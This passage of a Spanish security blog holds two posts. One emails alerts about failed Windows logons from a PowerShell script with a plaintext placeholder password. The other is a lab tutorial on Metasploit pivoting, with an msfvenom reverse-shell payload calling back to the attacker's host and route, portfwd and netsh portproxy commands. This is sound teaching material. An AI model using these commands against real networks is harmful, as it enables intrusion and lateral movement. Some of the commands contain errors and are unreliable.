Configuración del equipo > Configuración de Windows > Configuración de seguridad > Directivas locales > Directiva de auditoria > Auditar eventos de inicio de sesión > Habilitar inicios erróneos.
Figura 1: gpedit.msc - Auditar eventos de inicio de sesión erróneos.

Abrimos el visor de eventos (eventvwr.msc), registros de Windows, Seguridad. El evento con Id. 4625 registra las auditorias por inicio de sesión erróneos.

Creamos una tarea programada desde cualquier evento con ese Id. y establecemos un fichero .bat que llamará a otro fichero Powershell .ps1 que será el que realice el envío de email y lo filtre con una consulta para que nos devuelva el último evento registrado. Este punto lo veremos más adelante.

Figura 2: eventvwr.msc - Creación de tarea programada de un evento con un Id. concreto.

En el programador de tareas (taskschd.msc) vemos que se crea una nueva sección para las tareas creadas a través del visor de eventos.

Esta tarea debe ejecutarse con un usuario que forma parte del grupo de administradores locales del sistema ya que para poder consultar un evento de auditoria del tipo de "Seguridad" como es un evento con Id. 4625 es necesario un usuario privilegiado.

Figura 3: taskschd.msc - Tarea programada creada automáticamente a partir del evento de seguridad con Id. 4625.

Comentar que podemos también optar por crear y configurar la tarea programada manualmente. Como desencadenador elegimos iniciar la tarea al producirse un evento del tipo de registro "Seguridad" e indicamos el Id. del evento 4625.

Figura 4: Desencadenador de la tarea programda al producirse un evento del tipo seguridad con Id. 4625.

wevtutil (Windows Event Utility) es la utilidad en línea de comandos que nos mostrará la información de los eventos registrados de Windows.

Para mostrar el último evento registrado del tipo Seguridad con un Id. específico, en este caso 4625. Haremos la siguiente consulta:
wevtutil query-events Security /count:1 /rd:true /format:text /q:"Event[System[(EventID=4625)]]"
La siguiente línea corresponderá al fichero "call-ps1-eventvwr-id_4625.bat" que hará la llamada al fichero Powershell "id_4625.ps1". Este fichero bat será el la acción de la tarea programada.
powershell.exe -file "C:\scripts\envio_emails_eventvwr\id_4625.ps1"
El script Powershell id_4625.ps1 sería el siguiente, modificamos con nuestros valores los campos myEmail, myPassword y pathTempWevtutil será el path en el que se creará un fichero temporal con la salida de la consulta del evento, después se borrará.
$usuarioEmail = "myEmail@gmail.com"
$passwdEmail = "myPassword"
$pathTempWevtutil = "C:\temp\temp_wevtutil"
$secPasswdEmail = ConvertTo-SecureString $passwdEmail -AsPlainText -Force
$credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEMail)
$asuntoEmail = "ID 4625: Inicio de sesion incorrecto"
$wevtutil = wevtutil query-events Security /count:1 /rd:true /format:text /q:"Event[System[(EventID=4625)]]" | findstr /V "puerto" | findstr "cuenta: trabajo: Direcci" > "$pathTempWevtutil"
$cuerpoEmail = Get-Content "$pathTempWevtutil" -Tail 5 | Out-String

Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject "$asuntoEmail" -Body "$cuerpoEmail" -SmtpServer smtp.gmail.com -UseSsl -Credential $credencialesEmail
Remove-Item -Path "$pathTempWevtutil" -Force
exit
Para habilitar el envío de correos SMTP a través de una cuenta con dominio Gmail será necesario habilitar el "Acceso de aplicaciones poco seguras". https://myaccount.google.com/lesssecureapps.

Esto tiene ciertos riesgos de seguridad, aconsejo crear una nueva cuenta de correo específica destinada para este uso y la realización de esta tarea.

En la siguiente captura se muestra un ejemplo del asunto y cuerpo del correo para la notificación de estos eventos. Mostrando el nombre de la cuenta desde la que se intentando iniciar sesión, el dominio o hostname, hacia que dirección IP se inicio sesión (sería la máquina local donde se registra el evento de seguridad) y desde que dirección origen ya sea una dirección IP privada o pública.

Figura 5: Ejemplo de mensaje de correo del evento de seguridad Id. 4625.


Saludos!

07 enero, 2020

Pivoting con Metasploit: route, portfwd y portproxy

En las primeras fases de escaneo de un pentesting debemos intentar recopilar la mayor cantidad de información posible sobre las redes internas disponibles en la empresa. Muchas organizaciones dividen sus departamentos en segmentos de red o redes locales virtuales (VLANs), donde se alojan determinadas máquinas, en muchos casos los equipos que forman parte de una red tienen configuradas varias interfaces ya sean físicas o lógicas hacia estas otras redes. En este tipo de circunstancias podemos aprovecharnos de esto para pivotar entre equipos de distintas redes y poder encontrar uno o varios equipos ya sean clientes o servidores con posibles vulnerabilidades explotables.

Para poner en práctica estas técnicas realizaremos un taller completo en el que mostraremos dos escenarios muy similares: lab 1 y lab 2, con el fin de que se vea el concepto de pivoting entre máquinas que formen parte de otras redes distintas en las que desde un principio no tendríamos una visibilidad directa hacia ellas desde la máquina en la que realizamos la auditoría del test de intrusión. El nivel de pivoting de estos escenarios será simple, de un solo salto, entre una máquina comprometida a otra. Dependiendo la topología de red de la organización se podría complicar más, con más saltos entre máquinas para ir descubriendo las posibles redes internas existentes, pero la finalidad, el concepto y las técnicas de pivoting seguirían siendo las mismas.

Esquema de red: Lab 1 (route y portfwd)

En el siguiente escenario se mostrará un entorno formado por tres máquinas:
  • Kali: 10.0.0.1/24. (Máquina A)
  • Ubuntu: 10.0.0.10/24 y 11.0.0.1/24. (Máquina B)
  • Linux (Apache http): 11.0.0.10/24. (Máquina C)
Figura 1: Escenario 1 de Pivoting, esquema de redes (route y portfwd).

Adjunto unas capturas simplemente para mostrar de forma más clara el escenario.

La máquina Kali con Metasploit Framework será desde donde realizaremos la intrusión. Tiene dos interfaces de red, una en modo NAT (eth1 simplemente para tener salida a Internet) y eth0 con la IP asignada 10.0.0.1 que forma parte de la red 10.0.0.0/24. Esta máquina no tiene visibilidad directa con la segunda red 11.0.0.0/24.

Figura 2: Configuración de red - Máquina Kali

La máquina Ubuntu tiene dos interfaces la cual tiene visibilidad con la red 10.0.0.0/24 y 11.0.0.0/24 será el pivoting y la segunda máquina Linux con una sola interface con la ip asignada 11.0.0.10 que tendrá visibilidad para la red 11.0.0.0.0/24, esta será una posible máquina vulnerable ya que dispondrá de un servicio web Apache a la que tendremos que intentar llegar desde la máquina Kali.

Figura 3: Configuración de red - Máquinas Ubuntu y Linux.

Establecer una sesión Meterpreter en la máquina Ubuntu (pivoting)

El funcionamiento de los tipos de pivoting dentro de las posibilidades que nos ofrece Metasploit Framework debemos partir de la obtención de una sesión Meterpreter en uno de los equipos de la red, en este caso será el Ubuntu en el cual tiene visibilidad con las dos redes dentro de este laboratorio, esta será la máquina que nos hará de pivoting a las redes que tenga configuradas.

Para este escenario podemos generar con msfvenom un payload en el que su shellcode será un meterpreter linux y ejecutarlo en la máquina remota para obtener dicha sesión.
msfvenom -p Linux/x86/meterpreter/reverse_tcp LHOST:10.0.0.1 LPORT=4444 -f elf  -b '\x00\x0a\x0d' -o payload
-b '\x00\x0a\x0d': (--bad-chars) Parámetro en el que se le puede especificar una lista de caracteres a evitar, de modo que no provoque un posible error en el momento de ejecutar el payload. En este caso estos opcodes serían válidos.

Figura 4: Generar payload para obtener una sesión meterpreter en la máquina Ubuntu (pivoting).

Una vez ejecutado el payload en la máquina Ubuntu, vemos como se creó una nueva sesión con un meterpreter de conexión inversa en el puerto 4444 hacia la máquina Kali.

Figura 5: Sesión con meterpreter establecida entre las máquinas Ubuntu y Kali.

Route

Una vez tenemos una sesión establecida con la máquina Ubuntu, iniciamos el meterpreter y una forma de comprobar las redes asociadas es listar las interfaces de red con ipconfig para comprobar si existe alguna dirección IP asignada que forme parte de otro segmento de red distinto. También podríamos ejecutar una shell dentro de meterpreter y consultar la tabla de rutas con el comando route print.

Como vemos se muestra la red 10.0.0.0/24 en la interface 2 y la 11.0.0.0/24 en la interface 3.

Figura 6: Comprobando si existen más redes asociadas en la máquina Ubuntu.

Route es un comando que nos permitirá encaminar tráfico de red dentro de Metasploit, diciéndole que desde cualquier módulo todo el tráfico que queramos llevar hacia otra red lo haga a través del identificador de una sesión establecida que tengamos activa, por ejemplo con un Meterpreter.

Salimos de la sesión de meterpreter y la dejamos en segundo plano saliendo con el comando background. Fuera de meterpreter y sabiendo que la máquina Ubuntu tiene dos redes configuradas, hacemos uso del comando route para añadir la visibilidad de esta nueva red a nivel de Metasploit.
route add <network> <netmask> <session_id>
route add 11.0.0.0 255.255.255.0 1
Con esto le estaremos diciendo que todo el tráfico que se produzca dentro de Metasploit con destino a la red 11.0.0.0/24 lo enrute a través de la sesión con ID 1 donde está el meterpreter. Con route print dentro de Metasploit podemos ver las rutas asignadas y con route -h veremos la ayuda completa.

Figura 7: Añadiendo nuevas rutas con route en Metasploit.

De esta forma ya podremos pivotar a través de la máquina Ubuntu a la red 11.0.0.0/24 realizando un escaneo completo hacia esa red.

En el siguiente ejemplo y para ahorrar tiempo en esta demo delimitaremos un pool de direcciones IP de la red 11.0.0.0/24 comprobando únicamente el puerto 80. Vemos que encontramos una dirección 10.0.0.10 que tiene el puerto 80 abierto.

En un descubrimiento habitual podríamos usar el módulo "auxiliary/scanner/discovery/arp_sweep" para encontrar hosts activos en la red local a través de solicitudes arp y también "auxiliary/scanner/portscan/ack" para comprobar que puertos se están filtrado.

Figura 8: Pivotando para descubrir nuevos hosts y puertos de otra red a través de Metasploit.

Con lo anterior ya se demostró que podemos realizar un sondeo y tener acceso a redes pivotando a través de la máquina Ubuntu donde tenemos la sesión meterpreter hacia una máquina Linux con la ip 11.0.0.10.

Ya hemos descubierto que el puerto 80 está abierto por lo que es probable que se trate de un servicio web, podemos ahora comprobar la versión de ese servicio http a través del módulo "auxiliary/scanner/http/http_version". A partir de ahí podríamos buscar en Internet si existe alguna vulnerabilidad conocida y explotable para versión y continuar el test de intrusión.

Figura 9: Reconocimiento de versión de servicios web.

Autoroute (Módulo post)

Otra forma de establecer rutas es hacerlo de forma automática. Una vez que tenemos una sesión establecida podemos hacer uso del módulo "post/multi/manage/autoroute", establecemos el ID de sesión y lo ejecutamos.

Esto hará un barrido en el equipo donde tenemos establecida la sesión para intentar reconocer otras redes asociadas a esa máquina y las agregará automáticamente a nuestra tabla de rutas de Metasploit. Es lo mismo que lo comentado anteriormente pero de forma automática sin necesidad de consultar manualmente a través de meterpreter las tablas de rutas asociadas a la máquina comprometida.

Figura 10: Usando el módulo de Autoroute para agregar rutas automáticamente en Metasploit.

portfwd (Port Forwarding)

portfwd realiza un reenvío de puertos -port forwarding- entre máquinas. Podemos canalizar todo el tráfico que enviamos a un puerto local a la escucha de nuestra máquina A a un puerto e IP de una máquina C en la que no tenemos a priori conectividad, configurando esta IP y puerto de reenvío en una máquina B en la que si tenemos una conectividad directa.

Una ventaja de esto es que todas las peticiones que hagamos al puerto local de la máquina A esta las reenviará a la máquina C pasando por la máquina B, si analizamos el tráfico desde la máquina C veremos que esas peticiones llegan desde la máquina B y no desde la máquina A que inicialmente origina las peticiones. Como esto en un primer momento puede resultar un poco confuso mostraremos un ejemplo.

Basándonos en el mismo escenario visito hasta ahora lab 1. Desde la máquina Kali (máquina A) nos intentamos conectar a la máquina Linux al puerto 22 (máquina C), que sabemos que está abierto, y vemos que no podemos conectarnos directamente ya que desde la máquina Kali no tenemos visibilidad hacia la red 11.0.0.0/24.

Sin embargo desde la sesión 1 donde tenemos nuestro meterpreter de la máquina Ubuntu (máquina B) esta si tiene visibilidad con la red 11.0.0.0/24 donde está máquina Linux (máquina C).

Desde el meterpreter de la sesión 1 agregamos una nueva regla de reenvío de puertos.
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd add -l 9500 -p 22 -r 11.0.0.10
Con esto indicamos que todas las peticiones que hagamos al puerto local de la máquina A Kali sen reenviadas al puerto 22 de la ip 11.0.0.10 que será la máquina C Linux. Siendo la máquina B Ubuntu quien haga el reenvío de puertos entre la máquina A y C. De ahí que todo el tráfico que llegue a la máquina C Linux es como si lo realizase la máquina B Ubuntu cuando en realidad lo envía la máquina A Kali.

Comprobando nuevamente el intento de conexión vemos como ahora desde Metasploit Framework como desde la propia máquina local Kali podemos llegar a la máquina C Linux estableciendo una conexión localhost hacia le puerto local a la escucha.

Si listamos los puertos a la escucha de la máquina local vemos como fuera del MSF tenemos el puerto 9500 a la escucha. Esto puede ser útil en los casos en los que necesitemos utilizar servicios web u otras herramientas fuera de Metasploit para poder escanear, vulnerar o realizar acciones hacia una máquina remota en la que no tendríamos un acceso directo pero si conocemos su IP y puerto y tenemos una máquina que usaremos de pivoting en medio de la comunicación para realizar los reenvíos de puertos. Tener en cuenta que podemos agregar más de una regla port forwarding.

Figura 11: portfwd - Uso de port forwarding fuera de Metasploit, usando una sesión meterpreter para reenvío de peticiones.

La forma de usar módulos dentro de Metasploit con reglas configuradas de reenvío de puertos es solamente por medio de conexiones locales (ip y puerto local).

En el siguiente ejemplo se muestran dos reglas port forwarding establecidas en la sesión 1 (máquina B Ubuntu), la segunda regla indica que las peticiones que se realicen hacia el puerto 9000 desde cualquier interface de la máquina Kali A se reenvíen a través de la sesión 2 (máquina B Ubuntu) hacia la IP destino 11.0.0.10 puerto 80 que será la máquina C Linux.

RHOST: será la dirección local de la máquina A Kali, ip 127.0.0.1 (y no la ip 11.0.0.10 de la máquina destino C Linux).
PORTS: será el puerto local a la escucha en la máquina A Kali, puerto 9000 (y no el puerto 80 de la máquina destino C Linux).

Vemos como nos indica que el puerto 9000 de la ip 127.0.0.1 está Open. Esto significa que la regla de reenvío funcionó y que realmente esa IP/Puerto local corresponderían a la IP/Puerto destino configurado en la regla del portfwd.

Fuera de Metasploit podemos consultar los puertos a la escucha con netstat y comprobar que tanto el puerto 9500, visto en el ejemplo anterior, como el puerto 9000 están a la escucha por un proceso ruby que sería Metasploit.

Figura 12: portfwd - Usando port forwarding a través de módulos en Metasploit.

¿Diferencias entre route y portfwd en Metasploit?

Route y Autoroute
  • Es necesario tener una sesión establecida.
  • Agrega direcciones de red completas indicando su notación CIDR.
  • Las tablas de rutas solo se agregan a nivel funcional de Metasploit Framework.
  • Dentro de Metasploit se pueden usar todos los módulos de forma directa hacia las redes agregadas.
  • Con el módulo post Autorute se pueden descubrir y agregar rutas de red de forma automática de una sesión previamente establecida.
portfwd
  • Es necesario tener una sesión establecida.
  • No pueden agregar direcciones completas de red, solo se crean reglas de port forwarding hacía una IP/Puerto específico.
  • Se pueden usar otras herramientas fuera de Metasploit a nivel local de la propia máquina Kali IP/Puerto locales estarán a la escucha.
  • Dentro de Metasploit se pueden usar módulos hacia la IP/Puerto de la regla creada, la IP/Puerto será interpretado de forma local desde la propia máquina Kali.

PortProxy (Windows)

El uso del módulo post PortProxy de Metasploit en el que podemos realizar un port forwarding dirigido a una máquina y puerto remoto concretos pero esta vez a nivel de máquinas Windows. El funcionamiento es muy similar al comando portfwd de Metasploit.

Este módulo hace uso del comando netsh con el parámetro portproxy, para usar este comando es necesario que el usuario tenga privilegios administrativos sobre el sistema. Más info: https://www.zonasystem.com/2019/02/netsh-portproxy-port-forwarding-local-windows.html.

Esquema de red: Lab 2 (PortProxy)

Similar al ejemplo del lab 1, en el siguiente escenario se mostrará un entorno formado por tres máquinas:
  • Kali: 10.0.0.1/24. (Máquina A)
  • Windows 7: 10.0.0.7/24 y 11.0.0.7/24. (Máquina B)
  • Windows 10: 11.0.0.10/24. (Máquina C)
Figura 13: Escenario 2 de Pivoting, esquema de redes (portproxy).

Para el uso de este módulo será necesario establecer una sesión Meterpreter y tener privilegios de SYSTEM sobre esa sesión en una máquina Windows que tenga acceso a otras redes fuera de Metasploit (máquina B Windows 7). Listaremos las redes disponibles consultando la tabla de rutas de la máquina en la que tenemos establecida la sesión con el comando route o también con ipconfig.

Figura 14: Listando tabla de rutas de red disponibles en una máquina Windows dentro de una sesión Meterpreter.

En la máquina B Windows 10 vemos que pertenece a la red 11.0.0.0/24 y ofrece un servicio web por el puerto 80.

Figura 15: Configuración de red y servicio web disponible en la máquina B (Windows 10).

Desde la máquina B en la cual tenemos un sesión Meterpreter establecida configuramos el módulo portproxy para esa sesión.
use post/windows/manage/portproxy
  • CONNECT_ADDRESS: IP remota de la máquina C a la que queremos acceder desde la máquina B.
  • CONNECT_PORT: Puerto remoto de la máquina C al que queremos acceder desde la máquina B.
  • LOCAL_ADDRESS: IP local de la máquina B (0.0.0.0 sería válido para cualquier interface local, desde la cual tenemos acceso por red desde la máquina A) y que esta reenviará a la máquina C.
  • LOCAL_PORT: Puerto local de la máquina B desde el cual se hará la petición a la máquina C. Desde la máquina A haremos la petición al IP/Puerto de la máquina B en la cual si tenemos acceso.
Una vez configurado el módulo lo lanzamos y comprobamos que en este caso consultando la IP en la que si tenemos acceso a la B máquina 10.0.0.7 hacia el puerto 4441 nos devuelve la web de la maquina C.

Desde la máquina C las peticiones de red hacia este servicio web se visualizan como si las realizase la máquina B y no la máquina A que es realmente desde donde lanzamos inicialmente la petición.

Figura 16: Uso del módulo portproxy para sesiones Windows en Metasploit.

De forma subyacente lo que hace este módulo es incluir esta regla de reenvío en la máquina B que es la que hará pivoting a la máquina C desde las peticiones que reciba desde la máquina A.

Podemos comprobarlo listando las reglas y un ejemplo de la parametrización de reenvío sería algo como:
netsh interface portproxy show all

netsh interface portproxy add <tipo_de_forwading> listenaddress=<ip_local_escucha> listenport=<puerto_local_escucha> connectaddress=<ip_remota> connectport=<puerto_remoto>  

netsh interface portproxy add v4tov4 listenaddress=11.0.0.10 listenport=80 connectaddress=0.0.0.0 connectport=4441

Mismo ejemplo con: portfwd

Podemos comprobar también el mismo efecto usando el comando portfwd interno de Meterpreter estableciéndolo en la sesión de la máquina B como vimos anteriormente en el Lab 1.

Al tratarse de una regla a nivel de la máquina A, reenviando la petición por la sesión de Metasploit que corresponde a la máquina B la consulta sería desde localhost de la máquina A al puerto que estableciésemos en este caso el 9001.

Figura 17: Ejemplo Lab 2 con portfwd.

Mismo ejemplo con: route

Comprobamos el mismo uso con route. El cual lo podríamos usar para realizar fingerprinting a la máquina C a través de módulos tipo scanner.

Añadimos la ruta de red desde Metasploit (máquina A) y esta se encaminará a través de la sesión de la máquina B. Realizamos por ejemplo un escaneo de puertos abiertos y comprobación de versión del servicio web.

Figura 18: Ejemplo Lab 2 con route.

Saludos!
Entradas Relacionadas